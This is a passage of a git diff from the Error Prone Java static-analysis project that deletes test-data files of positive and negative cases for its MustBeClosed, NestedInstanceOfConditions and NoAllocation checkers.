BUG: Diagnostic contains: MustBeClosed should only annotate constructors of AutoCloseables. - DoesNotImplementAutoCloseable() {} - - @MustBeClosed - // BUG: Diagnostic contains: MustBeClosed should only annotate methods that return an - // AutoCloseable. - void doesNotReturnAutoCloseable() {} - } - - class Closeable implements AutoCloseable { - - @Override - public void close() {} - - public int method() { - return 1; - } - } - - class Foo { - - @MustBeClosed - Closeable mustBeClosedAnnotatedMethod() { - return new Closeable(); - } - - void sameClass() { - // BUG: Diagnostic contains: - mustBeClosedAnnotatedMethod(); - } - } - - class MustBeClosedAnnotatedConstructor extends Closeable { - - @MustBeClosed - MustBeClosedAnnotatedConstructor() {} - - void sameClass() { - // BUG: Diagnostic contains: - new MustBeClosedAnnotatedConstructor(); - } - } - - void positiveCase1() { - // BUG: Diagnostic contains: - new Foo().mustBeClosedAnnotatedMethod(); - } - - void positiveCase2() { - // BUG: Diagnostic contains: - Closeable closeable = new Foo().mustBeClosedAnnotatedMethod(); - } - - void positiveCase3() { - try { - // BUG: Diagnostic contains: - new Foo().mustBeClosedAnnotatedMethod(); - } finally { - } - } - - void positiveCase4() { - try (Closeable c = new Foo().mustBeClosedAnnotatedMethod()) { - // BUG: Diagnostic contains: - new Foo().mustBeClosedAnnotatedMethod(); - } - } - - void positiveCase5() { - // BUG: Diagnostic contains: - new MustBeClosedAnnotatedConstructor(); - } - - Closeable positiveCase6() { - // BUG: Diagnostic contains: - return new MustBeClosedAnnotatedConstructor(); - } - - Closeable positiveCase7() { - // BUG: Diagnostic contains: - return new Foo().mustBeClosedAnnotatedMethod(); - } - - int existingDeclarationUsesVar() { - // BUG: Diagnostic contains: - var result = new Foo().mustBeClosedAnnotatedMethod(); - return 0; - } - - boolean twoCloseablesInOneExpression() { - // BUG: Diagnostic contains: - return new Foo().mustBeClosedAnnotatedMethod() == new Foo().mustBeClosedAnnotatedMethod(); - } - - void voidLambda() { - // Lambda has a fixless finding because no reasonable fix can be suggested. - // BUG: Diagnostic contains: - Runnable runnable = () -> new Foo().mustBeClosedAnnotatedMethod(); - } - - void expressionLambda() { - Supplier supplier = - () -> - // BUG: Diagnostic contains: - new Foo().mustBeClosedAnnotatedMethod(); - } - - void statementLambda() { - Supplier supplier = - () -> { - // BUG: Diagnostic contains: - return new Foo().mustBeClosedAnnotatedMethod(); - }; - } - - void methodReference() { - Supplier supplier = - // TODO(b/218377318): BUG: Diagnostic contains: - new Foo()::mustBeClosedAnnotatedMethod; - } - - void anonymousClass() { - new Foo() { - @Override - public Closeable mustBeClosedAnnotatedMethod() { - // BUG: Diagnostic contains: - return new MustBeClosedAnnotatedConstructor(); - } - }; - } - - void subexpression() { - // BUG: Diagnostic contains: - new Foo().mustBeClosedAnnotatedMethod().method(); - } - - void ternary(boolean condition) { - // BUG: Diagnostic contains: - int result = condition ? new Foo().mustBeClosedAnnotatedMethod().method() : 0; - } - - int variableDeclaration() { - // BUG: Diagnostic contains: - int result = new Foo().mustBeClosedAnnotatedMethod().method(); - return result; - } - - void tryWithResources_nonFinal() { - Foo foo = new Foo(); - // BUG: Diagnostic contains: - Closeable closeable = foo.mustBeClosedAnnotatedMethod(); - try { - closeable = null; - } finally { - closeable.close(); - } - } - - void tryWithResources_noClose() { - Foo foo = new Foo(); - // BUG: Diagnostic contains: - Closeable closeable = foo.mustBeClosedAnnotatedMethod(); - try { - } finally { - } - } - - class CloseableFoo implements AutoCloseable { - - @MustBeClosed - CloseableFoo() {} - - // Doesn't autoclose Foo on Stream close. - Stream stream() { - return null; - } - - @Override - public void close() {} - } - - void twrStream() { - // BUG: Diagnostic contains: - try (Stream stream = new CloseableFoo().stream()) {} - } - - void constructorsTransitivelyRequiredAnnotation() { - abstract class Parent implements AutoCloseable { - @MustBeClosed - Parent() {} - - // BUG: Diagnostic contains: Invoked constructor is marked @MustBeClosed - Parent(int i) { - this(); - } - } - - // BUG: Diagnostic contains: Implicitly invoked constructor is marked @MustBeClosed - abstract class ChildDefaultConstructor extends Parent {} - - abstract class ChildExplicitConstructor extends Parent { - // BUG: Diagnostic contains: Invoked constructor is marked @MustBeClosed - ChildExplicitConstructor() {} - - // BUG: Diagnostic contains: Invoked constructor is marked @MustBeClosed - ChildExplicitConstructor(int a) { - super(); - } - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MustBeClosedCheckerPositiveCases_expected.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MustBeClosedCheckerPositiveCases_expected.java deleted file mode 100644 index 84f686de9b7..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MustBeClosedCheckerPositiveCases_expected.java +++ /dev/null @@ -1,260 +0,0 @@ -/* - * Copyright 2021 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import com.google.errorprone.annotations.MustBeClosed; -import java.util.function.Supplier; -import java.util.stream.Stream; - -@SuppressWarnings({"UnusedNestedClass", "UnusedVariable"}) -class MustBeClosedCheckerPositiveCases { - - class DoesNotImplementAutoCloseable { - @MustBeClosed - // BUG: Diagnostic contains: MustBeClosed should only annotate constructors of AutoCloseables. - DoesNotImplementAutoCloseable() {} - - @MustBeClosed - // BUG: Diagnostic contains: MustBeClosed should only annotate methods that return an - // AutoCloseable. - void doesNotReturnAutoCloseable() {} - } - - class Closeable implements AutoCloseable { - - @Override - public void close() {} - - public int method() { - return 1; - } - } - - class Foo { - - @MustBeClosed - Closeable mustBeClosedAnnotatedMethod() { - return new Closeable(); - } - - void sameClass() { - // BUG: Diagnostic contains: - try (var closeable = mustBeClosedAnnotatedMethod()) {} - } - } - - class MustBeClosedAnnotatedConstructor extends Closeable { - - @MustBeClosed - MustBeClosedAnnotatedConstructor() {} - - void sameClass() { - // BUG: Diagnostic contains: - try (var mustBeClosedAnnotatedConstructor = new MustBeClosedAnnotatedConstructor()) {} - } - } - - void positiveCase1() { - // BUG: Diagnostic contains: - try (var closeable = new Foo().mustBeClosedAnnotatedMethod()) {} - } - - void positiveCase2() { - // BUG: Diagnostic contains: - try (Closeable closeable = new Foo().mustBeClosedAnnotatedMethod()) {} - } - - void positiveCase3() { - try { - // BUG: Diagnostic contains: - try (var closeable = new Foo().mustBeClosedAnnotatedMethod()) {} - } finally { - } - } - - void positiveCase4() { - try (Closeable c = new Foo().mustBeClosedAnnotatedMethod()) { - // BUG: Diagnostic contains: - try (var closeable = new Foo().mustBeClosedAnnotatedMethod()) {} - } - } - - void positiveCase5() { - // BUG: Diagnostic contains: - try (var mustBeClosedAnnotatedConstructor = new MustBeClosedAnnotatedConstructor()) {} - } - - @MustBeClosed - Closeable positiveCase6() { - // BUG: Diagnostic contains: - return new MustBeClosedAnnotatedConstructor(); - } - - @MustBeClosed - Closeable positiveCase7() { - // BUG: Diagnostic contains: - return new Foo().mustBeClosedAnnotatedMethod(); - } - - int existingDeclarationUsesVar() { - // Bug: Diagnostic contains: - try (var result = new Foo().mustBeClosedAnnotatedMethod()) { - return 0; - } - } - - boolean twoCloseablesInOneExpression() { - // BUG: Diagnostic contains: - try (var closeable = new Foo().mustBeClosedAnnotatedMethod()) { - try (var closeable2 = new Foo().mustBeClosedAnnotatedMethod()) { - return closeable == closeable2; - } - } - } - - void voidLambda() { - // Lambda has a fixless finding because no reasonable fix can be suggested. - // BUG: Diagnostic contains: - Runnable runnable = () -> new Foo().mustBeClosedAnnotatedMethod(); - } - - void expressionLambda() { - Supplier supplier = - () -> - // BUG: Diagnostic contains: - new Foo().mustBeClosedAnnotatedMethod(); - } - - void statementLambda() { - Supplier supplier = - () -> { - // BUG: Diagnostic contains: - return new Foo().mustBeClosedAnnotatedMethod(); - }; - } - - void methodReference() { - Supplier supplier = - // TODO(b/218377318): BUG: Diagnostic contains: - new Foo()::mustBeClosedAnnotatedMethod; - } - - void anonymousClass() { - new Foo() { - @MustBeClosed - @Override - public Closeable mustBeClosedAnnotatedMethod() { - // BUG: Diagnostic contains: - return new MustBeClosedAnnotatedConstructor(); - } - }; - } - - void subexpression() { - // BUG: Diagnostic contains: - try (var closeable = new Foo().mustBeClosedAnnotatedMethod()) { - closeable.method(); - } - } - - void ternary(boolean condition) { - // BUG: Diagnostic contains: - int result; - try (var closeable = new Foo().mustBeClosedAnnotatedMethod()) { - result = condition ? closeable.method() : 0; - } - } - - int variableDeclaration() { - // BUG: Diagnostic contains: - int result; - try (var closeable = new Foo().mustBeClosedAnnotatedMethod()) { - result = closeable.method(); - } - return result; - } - - void tryWithResources_nonFinal() { - Foo foo = new Foo(); - // BUG: Diagnostic contains: - try (Closeable closeable = foo.mustBeClosedAnnotatedMethod()) { - try { - closeable = null; - } finally { - closeable.close(); - } - } - } - - void tryWithResources_noClose() { - Foo foo = new Foo(); - // BUG: Diagnostic contains: - try (Closeable closeable = foo.mustBeClosedAnnotatedMethod()) { - try { - } finally { - } - } - } - - class CloseableFoo implements AutoCloseable { - - @MustBeClosed - CloseableFoo() {} - - // Doesn't autoclose Foo on Stream close. - Stream stream() { - return null; - } - - @Override - public void close() {} - } - - void twrStream() { - // BUG: Diagnostic contains: - try (CloseableFoo closeableFoo = new CloseableFoo(); - Stream stream = closeableFoo.stream()) {} - } - - void constructorsTransitivelyRequiredAnnotation() { - abstract class Parent implements AutoCloseable { - @MustBeClosed - Parent() {} - - // BUG: Diagnostic contains: Invoked constructor is marked @MustBeClosed - @MustBeClosed - Parent(int i) { - this(); - } - } - - // BUG: Diagnostic contains: Implicitly invoked constructor is marked @MustBeClosed - abstract class ChildDefaultConstructor extends Parent {} - - abstract class ChildExplicitConstructor extends Parent { - // BUG: Diagnostic contains: Invoked constructor is marked @MustBeClosed - @MustBeClosed - ChildExplicitConstructor() {} - - // BUG: Diagnostic contains: Invoked constructor is marked @MustBeClosed - @MustBeClosed - ChildExplicitConstructor(int a) { - super(); - } - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/NestedInstanceOfConditionsNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/NestedInstanceOfConditionsNegativeCases.java deleted file mode 100644 index d2320a5c8f2..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/NestedInstanceOfConditionsNegativeCases.java +++ /dev/null @@ -1,105 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.util.ArrayList; -import java.util.List; - -/** - * @author mariasam@google.com (Maria Sam) - * @author sulku@google.com (Marsela Sulku) - */ -public class NestedInstanceOfConditionsNegativeCases { - public static void nestedInstanceOfPositiveCases() { - Object objectA = new Object(); - Object objectB = new Object(); - - // different objects - if (objectA instanceof SuperClass) { - if (objectB instanceof DisjointClass) { - System.out.println("yay"); - } - } - - // nested if checks to see if subtype of first - if (objectA instanceof SuperClass) { - if (objectA instanceof SubClass) { - System.out.println("yay"); - } - } - - if (objectA instanceof SuperClass) { - if (objectA instanceof SubClass) { - if (objectB instanceof DisjointClass) { - System.out.println("yay"); - } - } - } - - if (objectA instanceof SuperClass) { - if (objectB instanceof DisjointClass) { - if (objectA instanceof SubClass) { - System.out.println("yay"); - } - } - } - - if (objectA instanceof SuperClass) { - System.out.println("yay"); - } else if (objectA instanceof DisjointClass) { - System.out.println("boo"); - } else if (objectA instanceof String) { - System.out.println("aww"); - } - - if (objectA instanceof SuperClass) { - objectA = "yay"; - if (objectA instanceof String) { - System.out.println(); - } - } - - if (objectA instanceof SuperClass) { - if (objectA instanceof String) { - objectA = "yay"; - } - } - - List ls = new ArrayList(); - ls.add("hi"); - - // even though this could potentially be an error, ls.get(0) can be altered in many ways in - // between the two instanceof statements, therefore we do not match this case - if (ls.get(0) instanceof String) { - if (ls.get(0) instanceof SuperClass) { - System.out.println("lol"); - } - } - } - - /** test class */ - public static class SuperClass {} - ; - - /** test class */ - public static class SubClass extends SuperClass {} - ; - - /** test class */ - public static class DisjointClass {} - ; -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/NestedInstanceOfConditionsPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/NestedInstanceOfConditionsPositiveCases.java deleted file mode 100644 index bb3240ff9a9..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/NestedInstanceOfConditionsPositiveCases.java +++ /dev/null @@ -1,88 +0,0 @@ -/* Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author mariasam@google.com (Maria Sam) - * @author sulku@google.com (Marsela Sulku) - */ -public class NestedInstanceOfConditionsPositiveCases { - - public static void nestedInstanceOfPost() { - Object foo = new ClassA(); - Object bar = new ClassB(); - - // BUG: Diagnostic contains: Nested instanceOf conditions of disjoint types - if (foo instanceof ClassA) { - if (foo instanceof ClassB) { - System.out.println("test"); - } - } - - // BUG: Diagnostic contains: Nested instanceOf conditions of disjoint types - if (foo instanceof ClassA) { - System.out.println("test"); - if (foo instanceof ClassB) { - System.out.println("test"); - } - System.out.println("test"); - } - - // BUG: Diagnostic contains: Nested instanceOf conditions of disjoint types - if (foo instanceof ClassA) { - // BUG: Diagnostic contains: Nested instanceOf conditions of disjoint types - if (foo instanceof ClassA) { - if (foo instanceof ClassB) { - System.out.println("test"); - } - } - } - - // BUG: Diagnostic contains: Nested instanceOf conditions of disjoint types - if (foo instanceof ClassA) { - // BUG: Diagnostic contains: Nested instanceOf conditions of disjoint types - if (foo instanceof ClassB) { - if (foo instanceof ClassC) { - System.out.println("test"); - } - } - } - - // BUG: Diagnostic contains: Nested instanceOf conditions - if (foo instanceof ClassA) { - if (bar instanceof ClassB) { - if (foo instanceof ClassC) { - System.out.println("test"); - } - } - } - - if (foo instanceof ClassA) { - System.out.println("yay"); - // BUG: Diagnostic contains: Nested instanceOf conditions - } else if (foo instanceof ClassB) { - if (foo instanceof ClassC) { - System.out.println("uh oh"); - } - } - } - - static class ClassA {} - - static class ClassB {} - - static class ClassC {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/NoAllocationCheckerNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/NoAllocationCheckerNegativeCases.java deleted file mode 100644 index 54d16a31430..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/NoAllocationCheckerNegativeCases.java +++ /dev/null @@ -1,547 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import com.google.errorprone.annotations.NoAllocation; -import java.util.Arrays; - -/** - * @author agoode@google.com (Adam Goode) - */ -public class NoAllocationCheckerNegativeCases { - // Calling safe methods is fine. - @NoAllocation - public boolean comparison(int n) { - return n > 1; - } - - @NoAllocation - public void callNoAllocationMethod() { - comparison(5); - } - - @NoAllocation - @SuppressWarnings({"foo, bar"}) - public void annotatedWithArray() {} - - @NoAllocation - public boolean arrayComparison(int[] a) { - return a.length > 0 && a[0] > 1; - } - - // Non string operations are fine. - @NoAllocation - public int sumInts(int a, int b) { - return a + b; - } - - @NoAllocation - public int addOne(int a) { - a += 1; - return a; - } - - // Foreach is allowed on arrays. - @NoAllocation - public int forEachArray(int[] a) { - int last = -1; - for (int i : a) { - last = i; - } - return last; - } - - // Varargs is ok if no autoboxing occurs. - @NoAllocation - public int varArgsMethod2(int a, int... b) { - return a + b[0]; - } - - @NoAllocation - public void callVarArgsNoAllocation(int[] b) { - varArgsMethod2(1, b); - } - - @NoAllocation - public Object varArgsMethodObject2(Object a, Object... b) { - return b[0]; - } - - @NoAllocation - public void callVarArgsObject2(Object a, Object[] b) { - varArgsMethodObject2(a, b); - } - - // Unboxing is fine. - @NoAllocation - public void unboxByCalling(Integer i) { - comparison(i); - } - - @NoAllocation - public int binaryUnbox(Integer a, int b) { - return a + b; - } - - // We can call a non-annotated method if we suppress warnings. - @NoAllocation - @SuppressWarnings("NoAllocation") - public void trustMe() { - String s = new String(); - } - - @NoAllocation - public void trusting() { - trustMe(); - } - - // Allocations are allowed in a throw statement. - @NoAllocation - public void throwNew() { - throw new RuntimeException(); - } - - @NoAllocation - public void throwNewArray() { - throw new RuntimeException(Arrays.toString(new int[10])); - } - - @NoAllocation - public void throwMethod() { - throw new RuntimeException(Integer.toString(5)); - } - - @NoAllocation - public void throwStringConcatenation() { - throw new RuntimeException("a" + 5); - } - - @NoAllocation - public void throwStringConcatenation2() { - throw new RuntimeException("a" + Integer.toString(5)); - } - - @NoAllocation - public void throwStringConcatenation3() { - throw new RuntimeException("a" + getInt()); - } - - @NoAllocation - public String throwStringConvCompoundAssign(int i) { - String s = ""; - throw new RuntimeException(s += i); - } - - class IntegerException extends RuntimeException { - public IntegerException(Integer i) { - super(i.toString()); - } - } - - @NoAllocation - public String throwBoxingCompoundAssign(Integer in, int i) { - throw new IntegerException(in += i); - } - - @NoAllocation - public String throwBoxingAssign(Integer in, int i) { - throw new IntegerException(in = i); - } - - @NoAllocation - public String throwBoxingInitialization(final int i) { - throw new RuntimeException() { - Integer in = i; - }; - } - - @NoAllocation - public String throwBoxingCast(int i) { - throw new IntegerException((Integer) i); - } - - @NoAllocation - public String throwBoxingInvocation(int i) { - throw new IntegerException(i); - } - - class VarArgsException extends RuntimeException { - public VarArgsException(int... ints) { - super(Arrays.toString(ints)); - } - } - - @NoAllocation - public String throwBoxingVarArgs(int i) { - throw new VarArgsException(i, i, i, 4); - } - - @NoAllocation - public String throwBoxingUnary(Integer i) { - throw new IntegerException(i++); - } - - @NoAllocation - public void callGenericMethod() { - String foo = "foo"; - String bar = genericMethod(foo); - } - - @NoAllocation - private static T genericMethod(T value) { - return value; - } - - // All of the positive cases with @NoAllocation removed are below. - public int[] newArray(int size) { - return new int[size]; - } - - public int[] arrayInitializer(int a, int b) { - int[] array = {a, b}; - return array; - } - - public int[] returnArrayInitializer(int a, int b) { - return new int[] {a, b}; - } - - public String newString(String s) { - return new String(s); - } - - public String allocateString() { - return new String(); - } - - public String getString() { - return allocateString(); - } - - public int getInt() { - return 1; - } - - public String stringConvReturn(int i) { - return "" + i; - } - - public String stringConvAssign(int i) { - String s = "" + i; - return s; - } - - public String stringConvAssign2(int i) { - String s = ""; - s = s + i; - return s; - } - - public String stringConvAssign3(int i) { - String s = ""; - s = i + s; - return s; - } - - public String stringConvReturnMethod() { - String s = "" + getInt(); - return s; - } - - public String stringConvCompoundAssign(int i) { - String s = ""; - s += i; - return s; - } - - public String stringConvCompoundReturnMethod() { - String s = ""; - s += getInt(); - return s; - } - - public String doubleString(String s) { - return s + s; - } - - public String doubleStringCompound(String s) { - s += s; - return s; - } - - public int iteration(Iterable a) { - int result = 0; - for (Object o : a) { - result++; - } - return result; - } - - public Integer assignBox(int i) { - Integer in; - in = i; - return in; - } - - public Integer initializeBox(int i) { - Integer in = i; - return in; - } - - public Integer initializeBoxLiteral() { - Integer in = 0; - return in; - } - - public int castBox(int i) { - int in = (Integer) i; - return in; - } - - public Integer returnBox(int i) { - return i; - } - - public int unBox(Integer i) { - return i; - } - - public void callBox(int i) { - unBox(i); - } - - public int unBox2(int i1, Integer i2) { - return i2; - } - - public void callBox2(int i1, int i2) { - unBox2(i1, i2); - } - - public int unBox3(Integer i1, int i2) { - return i1; - } - - public void callBox3(int i1, int i2) { - unBox3(i1, i2); - } - - public int varArgsMethod(int a, int... b) { - return a + b[0]; - } - - public void callVarArgs0() { - varArgsMethod(0); - } - - public void callVarArgs() { - varArgsMethod(1, 2); - } - - public void callVarArgs2() { - varArgsMethod(1, 2, 3); - } - - public Object varArgsMethodObject(Object a, Object... b) { - return b[0]; - } - - public void callVarArgsObject(Object a, Object[] b) { - varArgsMethodObject(a, b[0]); - } - - public void callVarArgsObjectWithPrimitiveArray(Object a, int[] b) { - varArgsMethodObject(a, b); - } - - public int forBox(int[] a) { - int count = 0; - for (Integer i = 0; i < a.length; i++) { - count++; - } - return count; - } - - public void arrayBox(Integer[] a, int i) { - a[0] = i; - } - - public int preIncrementBox(Integer i) { - ++i; - return i; - } - - public int postIncrementBox(Integer i) { - i++; - return i; - } - - public int preDecrementBox(Integer i) { - --i; - return i; - } - - public int postDecrementBox(Integer i) { - i--; - return i; - } - - public int forEachBox(int[] a) { - int last = -1; - for (Integer i : a) { - last = i; - } - return last; - } - - public void arrayPreIncrementBox(Integer[] a) { - ++a[0]; - } - - public void arrayPostIncrementBox(Integer[] a) { - a[0]++; - } - - public void arrayPreDecrementBox(Integer[] a) { - --a[0]; - } - - public void arrayPostDecrementBox(Integer[] a) { - a[0]--; - } - - public int compoundBox(Integer a, int b) { - a += b; - return a; - } - - public void arrayCompoundBox(Integer[] a, int b) { - a[0] += b; - } - - public void andAssignmentBox(Integer i1, Integer i2) { - i1 &= i2; - } - - public void divideAssignmentBox(Integer i1, Integer i2) { - i1 /= i2; - } - - public void leftShiftAssignmentBox(Integer i1, Integer i2) { - i1 <<= i2; - } - - public void minusAssignmentBox(Integer i1, Integer i2) { - i1 -= i2; - } - - public void multiplyAssignmentBox(Integer i1, Integer i2) { - i1 *= i2; - } - - public void orAssignmentBox(Integer i1, Integer i2) { - i1 |= i2; - } - - public void plusAssignmentBox(Integer i1, Integer i2) { - i1 += i2; - } - - public void remainderAssignmentBox(Integer i1, Integer i2) { - i1 %= i2; - } - - public void rightShiftAssignmentBox(Integer i1, Integer i2) { - i1 >>= i2; - } - - public void unsignedRightShiftAssignmentBox(Integer i1, Integer i2) { - i1 >>>= i2; - } - - public void xorAssignmentBox(Integer i1, Integer i2) { - i1 ^= i2; - } - - public Object doClone() throws CloneNotSupportedException { - return clone(); - } - - @NoAllocation - public String throwForeach(final Iterable a) { - throw new RuntimeException() { - private void f() { - for (Object o : a) { - a.toString(); - } - } - }; - } - - public interface NoAllocationInterface { - @NoAllocation - void method(); - } - - public static class NoAllocationImplementingClass implements NoAllocationInterface { - @Override - @NoAllocation - public void method() {} - } - - public static class NoAllocationImplementingClassWithSuppression - implements NoAllocationInterface { - @Override - @SuppressWarnings("NoAllocation") - public void method() {} - } - - public abstract static class NoAllocationAbstractClass { - @NoAllocation - abstract void method(); - } - - public static class NoAllocationConcreteClass extends NoAllocationAbstractClass { - @Override - @NoAllocation - void method() {} - } - - public static class NoAllocationConcreteClassWithSuppression extends NoAllocationAbstractClass { - @Override - @SuppressWarnings("NoAllocation") - void method() {} - } - - public static class NoAllocationParentClass implements NoAllocationInterface { - @Override - @NoAllocation - public void method() {} - } - - public static class NoAllocationSubclass extends NoAllocationParentClass { - @Override - @NoAllocation - public void method() {} - } - - public static class NoAllocationSubclassWithSuppression extends NoAllocationParentClass { - @Override - @SuppressWarnings("NoAllocation") - public void method() {} - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/NoAllocationCheckerPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/NoAllocationCheckerPositiveCases.java deleted file mode 100644 index 193046ecd9a..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/NoAllocationCheckerPositiveCases.java +++ /dev/null @@ -1,522 +0,0 @@ -/* - * Copyright 2015 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import com.google.errorprone.annotations.NoAllocation; - -/** - * @author agoode@google.com (Adam Goode) - */ -public class NoAllocationCheckerPositiveCases { - // Trigger on new array. - @NoAllocation - public int[] newArray(int size) { - // BUG: Diagnostic contains: @NoAllocation - // Allocating a new array - return new int[size]; - } - - @NoAllocation - public int[] arrayInitializer(int a, int b) { - // BUG: Diagnostic contains: @NoAllocation - // Allocating a new array - int[] array = {a, b}; - return array; - } - - @NoAllocation - public int[] returnArrayInitializer(int a, int b) { - // BUG: Diagnostic contains: @NoAllocation - // Allocating a new array - return new int[] {a, b}; - } - - // Trigger on new. - @NoAllocation - public String newString(String s) { - // BUG: Diagnostic contains: @NoAllocation - // Constructing - return new String(s); - } - - // Trigger calling a method that does allocation. - public String allocateString() { - return new String(); - } - - @NoAllocation - public String getString() { - // BUG: Diagnostic contains: @NoAllocation - // Calling a method - return allocateString(); - } - - // Trigger on string conversion. - @NoAllocation - public int getInt() { - return 1; - } - - @NoAllocation - public String stringConvReturn(int i) { - // BUG: Diagnostic contains: @NoAllocation - // String concatenation - return "" + i; - } - - @NoAllocation - public String stringConvAssign(int i) { - // BUG: Diagnostic contains: @NoAllocation - // String concatenation - String s = "" + i; - return s; - } - - @NoAllocation - public String stringConvAssign2(int i) { - String s = ""; - // BUG: Diagnostic contains: @NoAllocation - // String concatenation - s = s + i; - return s; - } - - @NoAllocation - public String stringConvAssign3(int i) { - String s = ""; - // BUG: Diagnostic contains: @NoAllocation - // String concatenation - s = i + s; - return s; - } - - @NoAllocation - public String stringConvReturnMethod() { - // BUG: Diagnostic contains: @NoAllocation - // String concatenation - String s = "" + getInt(); - return s; - } - - @NoAllocation - public String stringConvCompoundAssign(int i) { - String s = ""; - // BUG: Diagnostic contains: @NoAllocation - // Compound assignment - s += i; - return s; - } - - @NoAllocation - public String stringConvCompoundReturnMethod() { - String s = ""; - // BUG: Diagnostic contains: @NoAllocation - // Compound assignment - s += getInt(); - return s; - } - - // Trigger on string concatenation. - @NoAllocation - public String doubleString(String s) { - // BUG: Diagnostic contains: @NoAllocation - // String concatenation - return s + s; - } - - @NoAllocation - public String doubleStringCompound(String s) { - // BUG: Diagnostic contains: @NoAllocation - // Compound assignment - s += s; - return s; - } - - // Trigger on foreach with non-array. - @NoAllocation - public int iteration(Iterable a) { - int result = 0; - // BUG: Diagnostic contains: @NoAllocation - // Iterating - for (Object o : a) { - result++; - } - return result; - } - - // Trigger on autoboxing. - @NoAllocation - public Integer assignBox(int i) { - Integer in; - // BUG: Diagnostic contains: @NoAllocation - // Assigning a primitive value - in = i; - return in; - } - - @NoAllocation - public Integer initializeBox(int i) { - // BUG: Diagnostic contains: @NoAllocation - // Initializing a non-primitive - Integer in = i; - return in; - } - - @NoAllocation - public Integer initializeBoxLiteral() { - // BUG: Diagnostic contains: @NoAllocation - // Initializing a non-primitive - Integer in = 0; - return in; - } - - @NoAllocation - public int castBox(int i) { - // BUG: Diagnostic contains: @NoAllocation - // Casting a primitive - int in = (Integer) i; - return in; - } - - @NoAllocation - public Integer returnBox(int i) { - // BUG: Diagnostic contains: @NoAllocation - // Returning a primitive - return i; - } - - @NoAllocation - public int unBox(Integer i) { - return i; - } - - @NoAllocation - public void callBox(int i) { - // BUG: Diagnostic contains: @NoAllocation - // Calling a method - unBox(i); - } - - @NoAllocation - public int unBox2(int i1, Integer i2) { - return i2; - } - - @NoAllocation - public void callBox2(int i1, int i2) { - // BUG: Diagnostic contains: @NoAllocation - // Calling a method - unBox2(i1, i2); - } - - @NoAllocation - public int unBox3(Integer i1, int i2) { - return i1; - } - - @NoAllocation - public void callBox3(int i1, int i2) { - // BUG: Diagnostic contains: @NoAllocation - // Calling a method - unBox3(i1, i2); - } - - @NoAllocation - public int varArgsMethod(int a, int... b) { - return a + b[0]; - } - - @NoAllocation - public void callVarArgs0() { - // BUG: Diagnostic contains: @NoAllocation - // Calling a method - varArgsMethod(0); - } - - @NoAllocation - public void callVarArgs() { - // BUG: Diagnostic contains: @NoAllocation - // Calling a method - varArgsMethod(1, 2); - } - - @NoAllocation - public void callVarArgs2() { - // BUG: Diagnostic contains: @NoAllocation - // Calling a method - varArgsMethod(1, 2, 3); - } - - @NoAllocation - public Object varArgsMethodObject(Object a, Object... b) { - return b[0]; - } - - @NoAllocation - public void callVarArgsObject(Object a, Object[] b) { - // BUG: Diagnostic contains: @NoAllocation - // Calling a method - varArgsMethodObject(a, b[0]); - } - - @NoAllocation - public void callVarArgsObjectWithPrimitiveArray(Object a, int[] b) { - // BUG: Diagnostic contains: @NoAllocation - // Calling a method - varArgsMethodObject(a, b); - } - - @NoAllocation - public int forBox(int[] a) { - int count = 0; - // BUG: Diagnostic contains: @NoAllocation - // Pre- 